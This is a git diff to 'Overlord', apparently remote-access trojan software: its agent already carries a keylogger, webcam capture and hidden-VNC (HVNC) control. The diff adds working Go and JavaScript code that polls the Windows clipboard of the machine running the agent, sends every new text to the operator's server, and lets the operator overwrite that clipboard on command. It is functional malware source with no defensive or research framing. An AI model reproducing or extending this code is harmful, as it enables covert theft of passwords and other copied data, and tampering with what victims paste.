diff --git a/Overlord-Client/cmd/agent/handlers/clipboard_sync_stub.go b/Overlord-Client/cmd/agent/handlers/clipboard_sync_stub.go new file mode 100644 index 0000000..008d2c1 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/clipboard_sync_stub.go @@ -0,0 +1,12 @@ +//go:build !windows + +package handlers + +import ( + "context" + + "overlord-client/cmd/agent/runtime" +) + +func ClipboardSyncStart(_ context.Context, _ *runtime.Env, _ string) {} +func ClipboardSyncSet(_ string) {} diff --git a/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go b/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go new file mode 100644 index 0000000..66a3d51 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go @@ -0,0 +1,143 @@ +//go:build windows + +package handlers + +import ( + "context" + "log" + "time" + "unsafe" + + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "golang.org/x/sys/windows" +) + +var ( + cbUser32 = windows.NewLazySystemDLL("user32.dll") + cbKernel32 = windows.NewLazySystemDLL("kernel32.dll") + procOpenClipboardCB = cbUser32.NewProc("OpenClipboard") + procCloseClipboardCB = cbUser32.NewProc("CloseClipboard") + procGetClipboardCB = cbUser32.NewProc("GetClipboardData") + procEmptyClipboard = cbUser32.NewProc("EmptyClipboard") + procSetClipboardData = cbUser32.NewProc("SetClipboardData") + procGlobalAllocCB = cbKernel32.NewProc("GlobalAlloc") + procGlobalLockCB = cbKernel32.NewProc("GlobalLock") + procGlobalUnlockCB = cbKernel32.NewProc("GlobalUnlock") + procRtlMoveMemory = cbKernel32.NewProc("RtlMoveMemory") +) + +const ( + cbCFUnicodeText = 13 + cbGMEMMoveable = 0x0002 +) + +func clipboardSyncRead() string { + r, _, _ := procOpenClipboardCB.Call(0) + if r == 0 { + return "" + } + defer procCloseClipboardCB.Call() + h, _, _ := procGetClipboardCB.Call(cbCFUnicodeText) + if h == 0 { + return "" + } + ptr, _, _ := procGlobalLockCB.Call(h) + if ptr == 0 { + return "" + } + defer procGlobalUnlockCB.Call(h) + n := 0 + for { + v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2)) + if v == 0 { + break + } + n++ + if n > 1<<20 { + break + } + } + u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n) + return windows.UTF16ToString(u16) +} + +func clipboardSyncWrite(text string) error { + r, _, _ := procOpenClipboardCB.Call(0) + if r == 0 { + return windows.ERROR_ACCESS_DENIED + } + defer procCloseClipboardCB.Call() + + procEmptyClipboard.Call() + + utf16, err := windows.UTF16FromString(text) + if err != nil { + return err + } + size := len(utf16) * 2 + + hMem, _, _ := procGlobalAllocCB.Call(cbGMEMMoveable, uintptr(size)) + if hMem == 0 { + return windows.ERROR_NOT_ENOUGH_MEMORY + } + + ptr, _, _ := procGlobalLockCB.Call(hMem) + if ptr == 0 { + return windows.ERROR_LOCK_FAILED + } + + procRtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&utf16[0])), uintptr(size)) + procGlobalUnlockCB.Call(hMem) + + r, _, _ = procSetClipboardData.Call(cbCFUnicodeText, hMem) + if r == 0 { + return windows.ERROR_ACCESS_DENIED + } + return nil +} + +func ClipboardSyncStart(ctx context.Context, env *runtime.Env, source string) { + log.Printf("clipboard_sync: starting (%s)", source) + defer log.Printf("clipboard_sync: stopped (%s)", source) + + ticker := time.NewTicker(1500 * time.Millisecond) + defer ticker.Stop() + + var lastContent string + + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + content := clipboardSyncRead() + if content == "" || content == lastContent { + continue + } + lastContent = content + text := content + if len(text) > 64*1024 { + text = text[:64*1024] + } + msg := wire.ClipboardContent{ + Type: "clipboard_content", + Text: text, + Source: source, + } + if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil { + log.Printf("clipboard_sync: send failed: %v", err) + } + } + } +} + +func ClipboardSyncSet(text string) { + if len(text) > 64*1024 { + text = text[:64*1024] + } + if err := clipboardSyncWrite(text); err != nil { + log.Printf("clipboard_sync: write failed: %v", err) + } +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 96d2b0d..b8db83b 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -698,6 +698,59 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetMaxResolution(maxH) sendCommandResultSafe(env, cmdID, true, "") return nil + case "clipboard_sync_start": + payload, _ := envelope["payload"].(map[string]interface{}) + source := "rd" + if payload != nil { + if v, ok := payload["source"].(string); ok && v != "" { + source = v + } + } + env.ClipboardSyncMu.Lock() + if env.ClipboardSyncCancel != nil { + env.ClipboardSyncCancel() + if env.ClipboardSyncDone != nil { + <-env.ClipboardSyncDone + } + } + syncCtx, syncCancel := context.WithCancel(ctx) + env.ClipboardSyncCancel = syncCancel + env.ClipboardSyncSource = source + done := make(chan struct{}) + env.ClipboardSyncDone = done + goSafe("clipboard_sync", env.Cancel, func() { + ClipboardSyncStart(syncCtx, env, source) + close(done) + }) + env.ClipboardSyncMu.Unlock() + log.Printf("clipboard_sync: start (%s)", source) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "clipboard_sync_stop": + env.ClipboardSyncMu.Lock() + if env.ClipboardSyncCancel != nil { + env.ClipboardSyncCancel() + if env.ClipboardSyncDone != nil { + <-env.ClipboardSyncDone + } + env.ClipboardSyncCancel = nil + env.ClipboardSyncDone = nil + } + env.ClipboardSyncMu.Unlock() + log.Printf("clipboard_sync: stop") + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "clipboard_set": + payload, _ := envelope["payload"].(map[string]interface{}) + text := "" + if payload != nil { + if v, ok := payload["text"].(string); ok { + text = v + } + } + ClipboardSyncSet(text) + sendCommandResultSafe(env, cmdID, true, "") + return nil case "desktop_mouse_move": if !env.MouseControl { sendCommandResultSafe(env, cmdID, true, "") diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index 8dad3b7..c451813 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -40,6 +40,10 @@ type Env struct { WebcamCancel context.CancelFunc WebcamDone chan struct{} WebcamMu sync.Mutex + ClipboardSyncCancel context.CancelFunc + ClipboardSyncDone chan struct{} + ClipboardSyncMu sync.Mutex + ClipboardSyncSource string // "rd" or "hvnc" // Other fields Plugins *plugins.Manager Keylogger *keylogger.Keylogger diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 74f2b8d..404da2d 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -228,6 +228,12 @@ type HVNCLookupResult struct { Done bool `msgpack:"done"` } +type ClipboardContent struct { + Type string `msgpack:"type"` + Text string `msgpack:"text"` + Source string `msgpack:"source"` +} + type ProxyData struct { Type string `msgpack:"type"` ConnectionID string `msgpack:"connectionId"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 92bbd00..2b6d3b6 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -66,6 +66,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const agentFps = document.getElementById("agentFps"); const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); + const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); function syncInputEnableState() { if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); @@ -92,6 +93,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let h264ErrorCount = 0; let h264RetryTimer = null; + let clipboardSyncTimer = null; + let lastClipboardText = ""; + let clipboardSyncActive = false; + const storedCodecPref = localStorage.getItem(codecPrefKey); if (storedCodecPref === "0") { prefersH264 = false; @@ -179,6 +184,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } updateControls(); + checkClipboardSync(); } function updateControls() { @@ -196,6 +202,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } } + function startClipboardSync() { + if (clipboardSyncActive) return; + clipboardSyncActive = true; + lastClipboardText = ""; + sendCmd("clipboard_sync_start", {}); + clipboardSyncTimer = setInterval(async () => { + if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") { + stopClipboardSync(); + return; + } + try { + const text = await navigator.clipboard.readText(); + if (text && text !== lastClipboardText) { + lastClipboardText = text; + sendCmd("clipboard_sync", { text }); + } + } catch {} + }, 1500); + } + + function stopClipboardSync() { + if (!clipboardSyncActive) return; + clipboardSyncActive = false; + if (clipboardSyncTimer) { + clearInterval(clipboardSyncTimer); + clipboardSyncTimer = null; + } + sendCmd("clipboard_sync_stop", {}); + } + + function checkClipboardSync() { + const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming"; + if (shouldSync && !clipboardSyncActive) { + startClipboardSync(); + } else if (!shouldSync && clipboardSyncActive) { + stopClipboardSync(); + } + } + + if (clipboardSyncCtrl) { + clipboardSyncCtrl.addEventListener("change", checkClipboardSync); + } + function clearOfflineTimer() { if (offlineTimer) { clearTimeout(offlineTimer); @@ -655,6 +704,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; console.error("hvnc: server error:", msg.error || msg.message); return; } + if (msg && msg.type === "clipboard_content") { + if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) { + lastClipboardText = msg.text; + navigator.clipboard.writeText(msg.text).catch(() => {}); + } + return; + } return; } @@ -675,6 +731,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; console.error("hvnc: server error:", msg.error || msg.message); return; } + if (msg && msg.type === "clipboard_content") { + if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) { + lastClipboardText = msg.text; + navigator.clipboard.writeText(msg.text).catch(() => {}); + } + return; + } } function onWsOpen() { diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 8209a65..0155b79 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -39,6 +39,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const viewerFps = document.getElementById("viewerFps"); const inputLatency = document.getElementById("inputLatency"); const statusEl = document.getElementById("streamStatus"); + const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); ws.binaryType = "arraybuffer"; let activeClientId = clientId; @@ -79,6 +80,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const inputBackpressureBytes = 256 * 1024; let lastMoveSentAt = 0; + let clipboardSyncTimer = null; + let lastClipboardText = ""; + let clipboardSyncActive = false; + function resetH264RuntimeState() { h264TimestampUs = 0; h264LowFpsStreak = 0; @@ -181,6 +186,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } updateControls(); + checkClipboardSync(); } function updateControls() { @@ -199,6 +205,49 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } } + function startClipboardSync() { + if (clipboardSyncActive) return; + clipboardSyncActive = true; + lastClipboardText = ""; + sendCmd("clipboard_sync_start", {}); + clipboardSyncTimer = setInterval(async () => { + if (!clipboardSyncCtrl || !clipboardSyncCtrl.checked || streamState !== "streaming") { + stopClipboardSync(); + return; + } + try { + const text = await navigator.clipboard.readText(); + if (text && text !== lastClipboardText) { + lastClipboardText = text; + sendCmd("clipboard_sync", { text }); + } + } catch {} + }, 1500); + } + + function stopClipboardSync() { + if (!clipboardSyncActive) return; + clipboardSyncActive = false; + if (clipboardSyncTimer) { + clearInterval(clipboardSyncTimer); + clipboardSyncTimer = null; + } + sendCmd("clipboard_sync_stop", {}); + } + + function checkClipboardSync() { + const shouldSync = clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming"; + if (shouldSync && !clipboardSyncActive) { + startClipboardSync(); + } else if (!shouldSync && clipboardSyncActive) { + stopClipboardSync(); + } + } + + if (clipboardSyncCtrl) { + clipboardSyncCtrl.addEventListener("change", checkClipboardSync); + } + function updateLatency(ms) { if (ms < 0 || !Number.isFinite(ms)) return; latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2; @@ -853,6 +902,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; updateLatency(Number(msg.ms) || 0); return; } + if (msg && msg.type === "clipboard_content") { + if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) { + lastClipboardText = msg.text; + navigator.clipboard.writeText(msg.text).catch(() => {}); + } + return; + } return; } @@ -865,6 +921,13 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; updateLatency(Number(msg.ms) || 0); return; } + if (msg && msg.type === "clipboard_content") { + if (clipboardSyncCtrl && clipboardSyncCtrl.checked && streamState === "streaming" && msg.text) { + lastClipboardText = msg.text; + navigator.clipboard.writeText(msg.text).catch(() => {}); + } + return; + } }); ws.addEventListener("open", function () { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index eee9904..a78bd5a 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -130,6 +130,9 @@ + diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index efaa164..e9e51e2 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -136,6 +136,9 @@ +